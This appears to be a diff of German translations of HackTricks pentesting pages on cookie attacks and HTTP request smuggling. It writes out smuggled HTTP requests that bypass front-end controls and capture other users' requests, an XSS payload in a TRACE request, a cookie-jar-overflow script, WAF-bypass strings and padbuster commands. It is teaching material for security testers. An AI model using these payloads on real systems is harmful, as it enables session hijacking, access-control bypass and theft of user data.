RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
#### Cookie Injection Vulnerabilities
|
||||
#### Cookie-Injektionsanfälligkeiten
|
||||
|
||||
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Die falsche Analyse von Cookies durch Server, insbesondere Undertow, Zope und solche, die Python's `http.cookie.SimpleCookie` und `http.cookie.BaseCookie` verwenden, schafft Möglichkeiten für Cookie-Injektionsangriffe. Diese Server versäumen es, den Beginn neuer Cookies ordnungsgemäß zu kennzeichnen, was es Angreifern ermöglicht, Cookies zu fälschen:
|
||||
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Die falsche Analyse von Cookies durch Server, insbesondere Undertow, Zope und solche, die Python's `http.cookie.SimpleCookie` und `http.cookie.BaseCookie` verwenden, schafft Möglichkeiten für Cookie-Injektionsangriffe. Diese Server versäumen es, den Beginn neuer Cookies ordnungsgemäß zu kennzeichnen, was Angreifern ermöglicht, Cookies zu fälschen:
|
||||
|
||||
- Undertow erwartet ein neues Cookie sofort nach einem zitierten Wert ohne Semikolon.
|
||||
- Zope sucht nach einem Komma, um mit der Analyse des nächsten Cookies zu beginnen.
|
||||
- Die Cookie-Klassen von Python beginnen die Analyse bei einem Leerzeichen.
|
||||
- Pythons Cookie-Klassen beginnen die Analyse bei einem Leerzeichen.
|
||||
|
||||
Diese Schwachstelle ist besonders gefährlich in Webanwendungen, die auf cookie-basiertem CSRF-Schutz basieren, da sie es Angreifern ermöglicht, gefälschte CSRF-Token-Cookies einzuschleusen, was potenziell Sicherheitsmaßnahmen umgeht. Das Problem wird durch die Handhabung von doppelten Cookienamen in Python verschärft, bei der das letzte Vorkommen frühere überschreibt. Es wirft auch Bedenken hinsichtlich `__Secure-` und `__Host-` Cookies in unsicheren Kontexten auf und könnte zu Autorisierungsumgehungen führen, wenn Cookies an Backend-Server weitergegeben werden, die anfällig für Spoofing sind.
|
||||
Diese Anfälligkeit ist besonders gefährlich in Webanwendungen, die auf cookie-basiertem CSRF-Schutz basieren, da sie Angreifern ermöglicht, gefälschte CSRF-Token-Cookies einzuschleusen, was potenziell Sicherheitsmaßnahmen umgeht. Das Problem wird durch Pythons Umgang mit doppelten Cookienamen verschärft, bei dem das letzte Vorkommen frühere überschreibt. Es wirft auch Bedenken hinsichtlich `__Secure-` und `__Host-` Cookies in unsicheren Kontexten auf und könnte zu Autorisierungsumgehungen führen, wenn Cookies an Backend-Server weitergegeben werden, die anfällig für Spoofing sind.
|
||||
|
||||
### Cookies $version und WAF-Umgehungen
|
||||
|
||||
Laut [**diesem Blogbeitrag**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie) könnte es möglich sein, das Cookie-Attribut **`$Version=1`** zu verwenden, um das Backend dazu zu bringen, eine alte Logik zur Analyse des Cookies aufgrund der **RFC2109** zu verwenden. Darüber hinaus können andere Werte wie **`$Domain`** und **`$Path`** verwendet werden, um das Verhalten des Backends mit dem Cookie zu ändern.
|
||||
|
||||
#### Umgehung der Wertanalyse mit zitierten Zeichenfolgenkodierungen
|
||||
#### Umgehung der Wertanalyse mit kodierten Zeichenfolgen
|
||||
|
||||
Diese Analyse deutet darauf hin, dass escaped Werte innerhalb der Cookies unescaped werden, sodass "\a" zu "a" wird. Dies kann nützlich sein, um WAFS zu umgehen, da:
|
||||
Diese Analyse deutet darauf hin, dass escaped Werte innerhalb der Cookies unescaped werden, sodass "\a" zu "a" wird. Dies kann nützlich sein, um WAFs zu umgehen, da:
|
||||
|
||||
- `eval('test') => forbidden`
|
||||
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
|
||||
@ -198,7 +198,7 @@ In der RFC2109 wird angegeben, dass ein **Komma als Trennzeichen zwischen Cookie
|
||||
|
||||
#### Umgehung der Wertanalyse mit Cookie-Splitting
|
||||
|
||||
Schließlich würden verschiedene Backdoors in einem String verschiedene Cookies zusammenfügen, die in verschiedenen Cookie-Headern übergeben werden, wie in: 
|
||||
Schließlich würden verschiedene Backdoors in einem String verschiedene Cookies zusammenführen, die in verschiedenen Cookie-Headern übergeben werden, wie in: 
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
@ -216,12 +216,12 @@ Resulting cookie: name=eval('test//, comment') => allowed
|
||||
|
||||
#### **Grundlegende Überprüfungen**
|
||||
|
||||
- Das **cookie** ist jedes Mal, wenn Sie sich **anmelden**, **gleich**.
|
||||
- Das **Cookie** ist jedes Mal, wenn Sie sich **einloggen**, **gleich**.
|
||||
- Melden Sie sich ab und versuchen Sie, dasselbe Cookie zu verwenden.
|
||||
- Versuchen Sie, sich mit 2 Geräten (oder Browsern) mit demselben Cookie in dasselbe Konto einzuloggen.
|
||||
- Überprüfen Sie, ob das Cookie Informationen enthält, und versuchen Sie, es zu ändern.
|
||||
- Versuchen Sie, mehrere Konten mit fast demselben Benutzernamen zu erstellen, und überprüfen Sie, ob Sie Ähnlichkeiten sehen können.
|
||||
- Überprüfen Sie die Option "**remember me**", falls vorhanden, um zu sehen, wie sie funktioniert. Wenn sie vorhanden ist und anfällig sein könnte, verwenden Sie immer das Cookie von **remember me** ohne ein anderes Cookie.
|
||||
- Überprüfen Sie die Option "**angemeldet bleiben**", falls vorhanden, um zu sehen, wie sie funktioniert. Wenn sie vorhanden ist und anfällig sein könnte, verwenden Sie immer das Cookie von **angemeldet bleiben** ohne ein anderes Cookie.
|
||||
- Überprüfen Sie, ob das vorherige Cookie funktioniert, selbst nachdem Sie das Passwort geändert haben.
|
||||
|
||||
#### **Erweiterte Cookie-Angriffe**
|
||||
@ -229,7 +229,7 @@ Resulting cookie: name=eval('test//, comment') => allowed
|
||||
Wenn das Cookie beim Einloggen gleich bleibt (oder fast gleich bleibt), bedeutet dies wahrscheinlich, dass das Cookie mit einem Feld Ihres Kontos (wahrscheinlich dem Benutzernamen) verbunden ist. Dann können Sie:
|
||||
|
||||
- Versuchen, viele **Konten** mit sehr **ähnlichen** Benutzernamen zu erstellen und versuchen, **zu erraten**, wie der Algorithmus funktioniert.
|
||||
- Versuchen, den **Benutzernamen zu bruteforcen**. Wenn das Cookie nur als Authentifizierungsmethode für Ihren Benutzernamen gespeichert wird, können Sie ein Konto mit dem Benutzernamen "**Bmin**" erstellen und jeden einzelnen **Bit** Ihres Cookies **bruteforcen**, da eines der Cookies, die Sie versuchen werden, das von "**admin**" sein wird.
|
||||
- Versuchen, den **Benutzernamen zu bruteforcen**. Wenn das Cookie nur als Authentifizierungsmethode für Ihren Benutzernamen gespeichert wird, können Sie ein Konto mit dem Benutzernamen "**Bmin**" erstellen und jeden einzelnen **Bit** Ihres Cookies bruteforcen, da eines der Cookies, die Sie versuchen werden, das von "**admin**" sein wird.
|
||||
- Versuchen Sie **Padding** **Oracle** (Sie können den Inhalt des Cookies entschlüsseln). Verwenden Sie **padbuster**.
|
||||
|
||||
**Padding Oracle - Padbuster Beispiele**
|
||||
@ -244,9 +244,9 @@ padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28E
|
||||
```
|
||||
Padbuster wird mehrere Versuche unternehmen und Sie fragen, welche Bedingung die Fehlerbedingung ist (die, die nicht gültig ist).
|
||||
|
||||
Dann beginnt es mit der Entschlüsselung des Cookies (es kann mehrere Minuten dauern).
|
||||
Dann beginnt es, das Cookie zu entschlüsseln (es kann mehrere Minuten dauern).
|
||||
|
||||
Wenn der Angriff erfolgreich durchgeführt wurde, können Sie versuchen, eine Zeichenfolge Ihrer Wahl zu verschlüsseln. Zum Beispiel, wenn Sie **encrypt** **user=administrator** verschlüsseln möchten.
|
||||
Wenn der Angriff erfolgreich durchgeführt wurde, könnten Sie versuchen, eine Zeichenfolge Ihrer Wahl zu verschlüsseln. Zum Beispiel, wenn Sie **encrypt** **user=administrator** verschlüsseln möchten.
|
||||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Die Browser haben ein **Limit für die Anzahl der Cookies**, die sie für eine Seite speichern können. Wenn du aus irgendeinem Grund **ein Cookie verschwinden lassen** musst, kannst du **das Cookie-Glas überlaufen**, da die ältesten zuerst gelöscht werden:
|
||||
Die Browser haben ein **Limit für die Anzahl der Cookies**, die sie für eine Seite speichern können. Wenn Sie aus irgendeinem Grund **ein Cookie verschwinden lassen** müssen, können Sie **das Cookie-Glas überlaufen**, da die ältesten zuerst gelöscht werden:
|
||||
```javascript
|
||||
// Set many cookies
|
||||
for (let i = 0; i < 700; i++) {
|
||||
@ -15,7 +15,7 @@ document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`
|
||||
Beachten Sie, dass Cookies von Drittanbietern, die auf eine andere Domain verweisen, nicht überschrieben werden.
|
||||
|
||||
> [!CAUTION]
|
||||
> Dieser Angriff kann auch verwendet werden, um **HttpOnly-Cookies zu überschreiben, da Sie sie löschen und dann mit dem gewünschten Wert zurücksetzen können**.
|
||||
> Dieser Angriff kann auch verwendet werden, um **HttpOnly-Cookies zu überschreiben, da Sie es löschen und dann mit dem gewünschten Wert zurücksetzen können**.
|
||||
>
|
||||
> Überprüfen Sie dies in [**diesem Beitrag mit einem Labor**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
|
||||
|
||||
|
||||
@ -26,9 +26,9 @@ Host: example.com
|
||||
POST /pwreset HTTP/1.1
|
||||
Host: psres.net
|
||||
```
|
||||
Dieses Problem kann potenziell mit [Host-Header-Angriffen](https://portswigger.net/web-security/host-header) kombiniert werden, wie z.B. Passwortzurücksetzvergiftung oder [Web-Cache-Vergiftung](https://portswigger.net/web-security/web-cache-poisoning), um andere Schwachstellen auszunutzen oder unbefugten Zugriff auf zusätzliche virtuelle Hosts zu erlangen.
|
||||
Dieses Problem kann potenziell mit [Host-Header-Angriffen](https://portswigger.net/web-security/host-header) kombiniert werden, wie z.B. Passwortzurücksetzungsvergiftung oder [Web-Cache-Vergiftung](https://portswigger.net/web-security/web-cache-poisoning), um andere Schwachstellen auszunutzen oder unbefugten Zugriff auf zusätzliche virtuelle Hosts zu erlangen.
|
||||
|
||||
> [!NOTE]
|
||||
> Um diese Schwachstellen zu identifizieren, kann die Funktion 'connection-state probe' in HTTP Request Smuggler genutzt werden.
|
||||
> [!HINWEIS]
|
||||
> Um diese Schwachstellen zu identifizieren, kann die Funktion 'connection-state probe' im HTTP Request Smuggler genutzt werden.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -29,18 +29,18 @@ Dies könnte sehr kritisch sein, da **ein Angreifer in der Lage sein wird, eine
|
||||
|
||||
### Besonderheiten
|
||||
|
||||
Denken Sie daran, dass in HTTP **ein Zeilenumbruchzeichen aus 2 Bytes besteht:**
|
||||
Denken Sie daran, dass in HTTP **ein neuer Zeilenzeichen aus 2 Bytes besteht:**
|
||||
|
||||
- **Content-Length**: Dieser Header verwendet eine **dezimale Zahl**, um die **Anzahl** der **Bytes** des **Bodys** der Anfrage anzugeben. Der Body wird erwartet, dass er mit dem letzten Zeichen endet, **ein Zeilenumbruch ist am Ende der Anfrage nicht erforderlich**.
|
||||
- **Transfer-Encoding:** Dieser Header verwendet im **Body** eine **hexadezimale Zahl**, um die **Anzahl** der **Bytes** des **nächsten Chunks** anzugeben. Der **Chunk** muss mit einem **Zeilenumbruch** **enden**, aber dieser Zeilenumbruch **wird nicht** vom Längenindikator gezählt. Diese Übertragungsmethode muss mit einem **Chunk der Größe 0, gefolgt von 2 Zeilenumbrüchen** enden: `0`
|
||||
- **Connection**: Basierend auf meiner Erfahrung wird empfohlen, **`Connection: keep-alive`** in der ersten Anfrage des Request Smuggling zu verwenden.
|
||||
- **Content-Length**: Dieser Header verwendet eine **dezimale Zahl**, um die **Anzahl** der **Bytes** des **Bodys** der Anfrage anzugeben. Der Body wird erwartet, dass er mit dem letzten Zeichen endet, **ein neuer Zeilenzeichen ist am Ende der Anfrage nicht erforderlich**.
|
||||
- **Transfer-Encoding:** Dieser Header verwendet im **Body** eine **hexadezimale Zahl**, um die **Anzahl** der **Bytes** des **nächsten Chunks** anzugeben. Der **Chunk** muss mit einem **neuen Zeilenzeichen** enden, aber dieses neue Zeilenzeichen **wird nicht** vom Längenindikator gezählt. Diese Übertragungsmethode muss mit einem **Chunk der Größe 0, gefolgt von 2 neuen Zeilen** enden: `0`
|
||||
- **Connection**: Basierend auf meiner Erfahrung wird empfohlen, **`Connection: keep-alive`** bei der ersten Anfrage des Request Smuggling zu verwenden.
|
||||
|
||||
## Grundlegende Beispiele
|
||||
|
||||
> [!TIP]
|
||||
> Wenn Sie versuchen, dies mit Burp Suite auszunutzen, **deaktivieren Sie `Update Content-Length` und `Normalize HTTP/1 line endings`** im Repeater, da einige Gadgets Zeilenumbrüche, Wagenrückläufe und fehlerhafte Content-Lengths missbrauchen.
|
||||
> Wenn Sie versuchen, dies mit Burp Suite auszunutzen, **deaktivieren Sie `Update Content-Length` und `Normalize HTTP/1 line endings`** im Repeater, da einige Gadgets neue Zeilen, Wagenrückläufe und fehlerhafte Content-Lengths missbrauchen.
|
||||
|
||||
HTTP-Request-Smuggling-Angriffe werden durch das Senden von mehrdeutigen Anfragen erstellt, die Diskrepanzen in der Art und Weise ausnutzen, wie Front-End- und Back-End-Server die `Content-Length` (CL) und `Transfer-Encoding` (TE) Header interpretieren. Diese Angriffe können in verschiedenen Formen auftreten, hauptsächlich als **CL.TE**, **TE.CL** und **TE.TE**. Jeder Typ stellt eine einzigartige Kombination dar, wie die Front-End- und Back-End-Server diese Header priorisieren. Die Schwachstellen entstehen, weil die Server dieselbe Anfrage auf unterschiedliche Weise verarbeiten, was zu unerwarteten und potenziell bösartigen Ergebnissen führt.
|
||||
HTTP-Request-Smuggling-Angriffe werden durch das Senden von mehrdeutigen Anfragen erstellt, die Diskrepanzen in der Art und Weise ausnutzen, wie Front-End- und Back-End-Server die `Content-Length` (CL) und `Transfer-Encoding` (TE) Header interpretieren. Diese Angriffe können in verschiedenen Formen auftreten, hauptsächlich als **CL.TE**, **TE.CL** und **TE.TE**. Jeder Typ stellt eine einzigartige Kombination dar, wie die Front-End- und Back-End-Server diese Header priorisieren. Die Schwachstellen entstehen, wenn die Server dieselbe Anfrage auf unterschiedliche Weise verarbeiten, was zu unerwarteten und potenziell bösartigen Ergebnissen führt.
|
||||
|
||||
### Grundlegende Beispiele für Schwachstellentypen
|
||||
|
||||
@ -183,9 +183,9 @@ EMPTY_LINE_HERE
|
||||
```
|
||||
#### Brechen des Webservers
|
||||
|
||||
Diese Technik ist auch nützlich in Szenarien, in denen es möglich ist, **einen Webserver zu brechen, während die initialen HTTP-Daten gelesen werden**, aber **ohne die Verbindung zu schließen**. Auf diese Weise wird der **Body** der HTTP-Anfrage als die **nächste HTTP-Anfrage** betrachtet.
|
||||
Diese Technik ist auch in Szenarien nützlich, in denen es möglich ist, **einen Webserver zu brechen, während die initialen HTTP-Daten gelesen werden**, aber **ohne die Verbindung zu schließen**. Auf diese Weise wird der **Body** der HTTP-Anfrage als **nächste HTTP-Anfrage** betrachtet.
|
||||
|
||||
Zum Beispiel, wie in [**diesem Bericht**](https://mizu.re/post/twisty-python) erklärt, war es in Werkzeug möglich, einige **Unicode**-Zeichen zu senden, und es wird den Server **brechen**. Wenn die HTTP-Verbindung jedoch mit dem Header **`Connection: keep-alive`** erstellt wurde, wird der Body der Anfrage nicht gelesen und die Verbindung bleibt weiterhin offen, sodass der **Body** der Anfrage als die **nächste HTTP-Anfrage** behandelt wird.
|
||||
Zum Beispiel, wie in [**diesem Bericht**](https://mizu.re/post/twisty-python) erklärt, war es in Werkzeug möglich, einige **Unicode**-Zeichen zu senden, und es wird den Server **brechen**. Wenn die HTTP-Verbindung jedoch mit dem Header **`Connection: keep-alive`** erstellt wurde, wird der Body der Anfrage nicht gelesen und die Verbindung bleibt offen, sodass der **Body** der Anfrage als **nächste HTTP-Anfrage** behandelt wird.
|
||||
|
||||
#### Erzwingen über Hop-by-Hop-Header
|
||||
|
||||
@ -265,7 +265,7 @@ X
|
||||
|
||||
### Testen von HTTP Request Smuggling-Schwachstellen
|
||||
|
||||
Nachdem die Wirksamkeit der Timing-Techniken bestätigt wurde, ist es entscheidend zu überprüfen, ob Client-Anfragen manipuliert werden können. Eine einfache Methode besteht darin, zu versuchen, Ihre Anfragen zu vergiften, zum Beispiel eine Anfrage an `/` zu senden, die eine 404-Antwort zurückgibt. Die zuvor besprochenen `CL.TE`- und `TE.CL`-Beispiele in [Basic Examples](./#basic-examples) zeigen, wie man eine Client-Anfrage vergiftet, um eine 404-Antwort zu erhalten, obwohl der Client auf eine andere Ressource zugreifen möchte.
|
||||
Nachdem die Wirksamkeit der Timing-Techniken bestätigt wurde, ist es entscheidend zu überprüfen, ob Client-Anfragen manipuliert werden können. Eine einfache Methode besteht darin, zu versuchen, Ihre Anfragen zu vergiften, zum Beispiel eine Anfrage an `/` zu senden, die eine 404-Antwort ergibt. Die zuvor besprochenen `CL.TE`- und `TE.CL`-Beispiele in [Basic Examples](./#basic-examples) zeigen, wie man eine Client-Anfrage vergiftet, um eine 404-Antwort zu erhalten, obwohl der Client auf eine andere Ressource zugreifen möchte.
|
||||
|
||||
**Wichtige Überlegungen**
|
||||
|
||||
@ -283,7 +283,7 @@ Beim Testen auf Request Smuggling-Schwachstellen durch Störung anderer Anfragen
|
||||
|
||||
Manchmal setzen Front-End-Proxys Sicherheitsmaßnahmen durch, die eingehende Anfragen überprüfen. Diese Maßnahmen können jedoch durch den Missbrauch von HTTP Request Smuggling umgangen werden, was unbefugten Zugriff auf eingeschränkte Endpunkte ermöglicht. Zum Beispiel könnte der Zugriff auf `/admin` extern verboten sein, wobei der Front-End-Proxy solche Versuche aktiv blockiert. Dennoch könnte dieser Proxy versäumen, eingebettete Anfragen innerhalb einer geschmuggelten HTTP-Anfrage zu überprüfen, was eine Lücke zum Umgehen dieser Einschränkungen lässt.
|
||||
|
||||
Betrachten Sie die folgenden Beispiele, die veranschaulichen, wie HTTP Request Smuggling verwendet werden kann, um Front-End-Sicherheitskontrollen zu umgehen, insbesondere den `/admin`-Pfad, der typischerweise durch den Front-End-Proxy geschützt ist:
|
||||
Betrachten Sie die folgenden Beispiele, die veranschaulichen, wie HTTP Request Smuggling verwendet werden kann, um Front-End-Sicherheitskontrollen zu umgehen, insbesondere den `/admin`-Pfad, der typischerweise vom Front-End-Proxy geschützt wird:
|
||||
|
||||
**CL.TE Beispiel**
|
||||
```
|
||||
@ -343,17 +343,17 @@ Content-Length: 100
|
||||
|
||||
search=
|
||||
```
|
||||
In dieser Struktur werden die nachfolgenden Anfragekomponenten nach `search=` angehängt, was der Parameter ist, der in der Antwort reflektiert wird. Diese Reflexion wird die Header der nachfolgenden Anfrage offenlegen.
|
||||
In dieser Struktur werden die nachfolgenden Anfragekomponenten nach `search=` angehängt, was der Parameter ist, der in der Antwort reflektiert wird. Diese Reflexion wird die Header der nachfolgenden Anfrage offenbaren.
|
||||
|
||||
Es ist wichtig, den `Content-Length`-Header der geschachtelten Anfrage mit der tatsächlichen Inhaltslänge abzugleichen. Es ist ratsam, mit einem kleinen Wert zu beginnen und schrittweise zu erhöhen, da ein zu niedriger Wert die reflektierten Daten abschneiden kann, während ein zu hoher Wert dazu führen kann, dass die Anfrage fehlschlägt.
|
||||
|
||||
Diese Technik ist auch im Kontext einer TE.CL-Schwachstelle anwendbar, aber die Anfrage sollte mit `search=\r\n0` enden. Unabhängig von den Zeilenumbruchzeichen werden die Werte an den Suchparameter angehängt.
|
||||
|
||||
Diese Methode dient hauptsächlich dazu, die Anfrageänderungen zu verstehen, die vom Front-End-Proxy vorgenommen werden, und führt im Wesentlichen eine selbstgesteuerte Untersuchung durch.
|
||||
Diese Methode dient hauptsächlich dazu, die von dem Front-End-Proxy vorgenommenen Anfrageänderungen zu verstehen, indem sie im Wesentlichen eine selbstgesteuerte Untersuchung durchführt.
|
||||
|
||||
### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
Es ist möglich, die Anfragen des nächsten Benutzers zu erfassen, indem eine spezifische Anfrage als Wert eines Parameters während einer POST-Operation angehängt wird. So kann dies erreicht werden:
|
||||
Es ist möglich, die Anfragen des nächsten Benutzers zu erfassen, indem man eine spezifische Anfrage als Wert eines Parameters während einer POST-Operation anhängt. So kann dies erreicht werden:
|
||||
|
||||
Indem Sie die folgende Anfrage als Wert eines Parameters anhängen, können Sie die Anfrage des nachfolgenden Clients speichern:
|
||||
```
|
||||
@ -379,7 +379,7 @@ In diesem Szenario ist der **Kommentarparameter** dazu gedacht, die Inhalte im K
|
||||
|
||||
Diese Technik hat jedoch Einschränkungen. Im Allgemeinen erfasst sie Daten nur bis zum Parameter-Trennzeichen, das in der geschmuggelten Anfrage verwendet wird. Bei URL-kodierten Formularübertragungen ist dieses Trennzeichen das `&`-Zeichen. Das bedeutet, dass der erfasste Inhalt aus der Anfrage des Opfers beim ersten `&` stoppt, das möglicherweise sogar Teil der Abfragezeichenfolge ist.
|
||||
|
||||
Darüber hinaus ist es erwähnenswert, dass dieser Ansatz auch bei einer TE.CL-Schwachstelle anwendbar ist. In solchen Fällen sollte die Anfrage mit `search=\r\n0` enden. Unabhängig von Zeilenumbruchzeichen werden die Werte an den Suchparameter angehängt.
|
||||
Darüber hinaus ist es erwähnenswert, dass dieser Ansatz auch bei einer TE.CL-Schwachstelle möglich ist. In solchen Fällen sollte die Anfrage mit `search=\r\n0` enden. Unabhängig von Zeilenumbruchzeichen werden die Werte an den Suchparameter angehängt.
|
||||
|
||||
### Verwendung von HTTP-Request-Smuggling zur Ausnutzung von reflektiertem XSS
|
||||
|
||||
@ -422,13 +422,13 @@ Durch die Manipulation des `User-Agent` durch Smuggling umgeht das Payload die n
|
||||
> [!CAUTION]
|
||||
> Falls der Benutzerinhalt in einer Antwort mit einem **`Content-type`** wie **`text/plain`** widergespiegelt wird, wird die Ausführung der XSS verhindert. Wenn der Server **HTTP/0.9** unterstützt, könnte es möglich sein, dies zu umgehen!
|
||||
|
||||
Die Version HTTP/0.9 war zuvor zu 1.0 und verwendet nur **GET**-Verben und **antwortet nicht** mit **Headers**, nur mit dem Body.
|
||||
Die Version HTTP/0.9 war vorher zu 1.0 und verwendet nur **GET**-Verben und **antwortet nicht** mit **Headers**, nur mit dem Body.
|
||||
|
||||
In [**diesem Bericht**](https://mizu.re/post/twisty-python) wurde dies mit einem Request Smuggling und einem **anfälligen Endpunkt, der mit der Eingabe des Benutzers antwortet**, ausgenutzt, um eine Anfrage mit HTTP/0.9 zu schmuggeln. Der Parameter, der in der Antwort widergespiegelt wird, enthielt eine **falsche HTTP/1.1-Antwort (mit Headers und Body)**, sodass die Antwort gültigen ausführbaren JS-Code mit einem `Content-Type` von `text/html` enthalten wird.
|
||||
In [**diesem Bericht**](https://mizu.re/post/twisty-python) wurde dies mit einem Request Smuggling und einem **anfälligen Endpunkt, der mit der Eingabe des Benutzers antwortet**, ausgenutzt, um eine Anfrage mit HTTP/0.9 zu schmuggeln. Der Parameter, der in der Antwort widergespiegelt wird, enthielt eine **falsche HTTP/1.1-Antwort (mit Headers und Body)**, sodass die Antwort gültigen ausführbaren JS-Code mit einem `Content-Type` von `text/html` enthält.
|
||||
|
||||
### Ausnutzen von On-Site-Redirects mit HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
Anwendungen leiten oft von einer URL zu einer anderen um, indem sie den Hostnamen aus dem `Host`-Header in der Umleitungs-URL verwenden. Dies ist bei Webservern wie Apache und IIS üblich. Zum Beispiel führt das Anfordern eines Ordners ohne abschließenden Schrägstrich zu einer Umleitung, um den Schrägstrich einzuschließen:
|
||||
Anwendungen leiten oft von einer URL zu einer anderen um, indem sie den Hostnamen aus dem `Host`-Header in der Umleitungs-URL verwenden. Dies ist bei Webservern wie Apache und IIS üblich. Zum Beispiel führt die Anforderung eines Ordners ohne abschließenden Schrägstrich zu einer Umleitung, um den Schrägstrich einzuschließen:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: normal-website.com
|
||||
@ -492,18 +492,18 @@ Content-Length: 10
|
||||
|
||||
x=1
|
||||
```
|
||||
Beachten Sie die eingebettete Anfrage, die auf `/post/next?postId=3` abzielt. Diese Anfrage wird auf `/post?postId=4` umgeleitet, wobei der **Host-Header-Wert** verwendet wird, um die Domain zu bestimmen. Durch Ändern des **Host-Headers** kann der Angreifer die Anfrage auf seine Domain umleiten (**On-Site-Redirect zu Open Redirect**).
|
||||
Beachten Sie die eingebettete Anfrage, die auf `/post/next?postId=3` abzielt. Diese Anfrage wird auf `/post?postId=4` umgeleitet, wobei der **Host-Header-Wert** verwendet wird, um die Domain zu bestimmen. Durch die Änderung des **Host-Headers** kann der Angreifer die Anfrage an seine Domain umleiten (**on-site redirect to open redirect**).
|
||||
|
||||
Nach erfolgreicher **Socket-Poisoning** sollte eine **GET-Anfrage** für `/static/include.js` initiiert werden. Diese Anfrage wird durch die vorherige **On-Site-Redirect zu Open Redirect**-Anfrage kontaminiert und ruft den Inhalt des vom Angreifer kontrollierten Skripts ab.
|
||||
Nach erfolgreicher **Socket-Poisoning** sollte eine **GET-Anfrage** für `/static/include.js` initiiert werden. Diese Anfrage wird durch die vorherige **on-site redirect to open redirect**-Anfrage kontaminiert und ruft den Inhalt des vom Angreifer kontrollierten Skripts ab.
|
||||
|
||||
Anschließend wird jede Anfrage für `/static/include.js` den zwischengespeicherten Inhalt des Skripts des Angreifers bereitstellen, was effektiv einen umfassenden XSS-Angriff auslöst.
|
||||
|
||||
### Verwendung von HTTP-Request-Smuggling zur Durchführung von Web-Cache-Deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
### Verwendung von HTTP-Request-Smuggling zur Durchführung von Web-Cache- Täuschung <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **Was ist der Unterschied zwischen Web-Cache-Poisoning und Web-Cache-Deception?**
|
||||
> **Was ist der Unterschied zwischen Web-Cache-Poisoning und Web-Cache-Täuschung?**
|
||||
>
|
||||
> - Bei **Web-Cache-Poisoning** verursacht der Angreifer, dass die Anwendung schädliche Inhalte im Cache speichert, und diese Inhalte werden aus dem Cache an andere Anwendungsbenutzer ausgeliefert.
|
||||
> - Bei **Web-Cache-Deception** verursacht der Angreifer, dass die Anwendung sensible Inhalte eines anderen Benutzers im Cache speichert, und der Angreifer ruft dann diese Inhalte aus dem Cache ab.
|
||||
> - Bei **Web-Cache-Täuschung** verursacht der Angreifer, dass die Anwendung sensible Inhalte eines anderen Benutzers im Cache speichert, und der Angreifer ruft dann diese Inhalte aus dem Cache ab.
|
||||
|
||||
Der Angreifer erstellt eine geschmuggelte Anfrage, die sensible benutzerspezifische Inhalte abruft. Betrachten Sie das folgende Beispiel:
|
||||
```markdown
|
||||
@ -520,7 +520,7 @@ Wenn diese geschmuggelte Anfrage einen Cache-Eintrag für statische Inhalte (z.
|
||||
|
||||
### Missbrauch von TRACE über HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
[**In diesem Beitrag**](https://portswigger.net/research/trace-desync-attack) wird vorgeschlagen, dass es möglich sein könnte, die Methode TRACE zu missbrauchen, wenn der Server diese aktiviert hat, indem man HTTP Request Smuggling verwendet. Dies liegt daran, dass diese Methode jeden Header, der an den Server gesendet wird, als Teil des Antwortkörpers zurückgibt. Zum Beispiel:
|
||||
[**In diesem Beitrag**](https://portswigger.net/research/trace-desync-attack) wird vorgeschlagen, dass es möglich sein könnte, die Methode TRACE zu missbrauchen, wenn der Server diese aktiviert hat, indem man HTTP Request Smuggling anwendet. Dies liegt daran, dass diese Methode jeden Header, der an den Server gesendet wird, als Teil des Körpers der Antwort zurückgibt. Zum Beispiel:
|
||||
```
|
||||
TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
@ -537,15 +537,15 @@ Host: vulnerable.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
Ein Beispiel, wie man dieses Verhalten ausnutzen kann, wäre, zuerst eine **HEAD-Anfrage zu schmuggeln**. Diese Anfrage wird nur mit den **Headern** einer GET-Anfrage beantwortet (**`Content-Type`** darunter). Und schmuggeln Sie **unmittelbar nach dem HEAD eine TRACE-Anfrage**, die die **gesendeten Daten** widerspiegeln wird.\
|
||||
Da die HEAD-Antwort einen `Content-Length`-Header enthalten wird, wird die **Antwort der TRACE-Anfrage als der Körper der HEAD-Antwort behandelt, wodurch beliebige Daten** in der Antwort widergespiegelt werden.\
|
||||
Ein Beispiel, wie man dieses Verhalten ausnutzen kann, wäre, zuerst eine **HEAD-Anfrage zu schmuggeln**. Diese Anfrage wird nur mit den **Headern** einer GET-Anfrage beantwortet (**`Content-Type`** darunter). Und schmuggeln Sie **unmittelbar nach dem HEAD eine TRACE-Anfrage**, die die **gesendeten Daten reflektiert**.\
|
||||
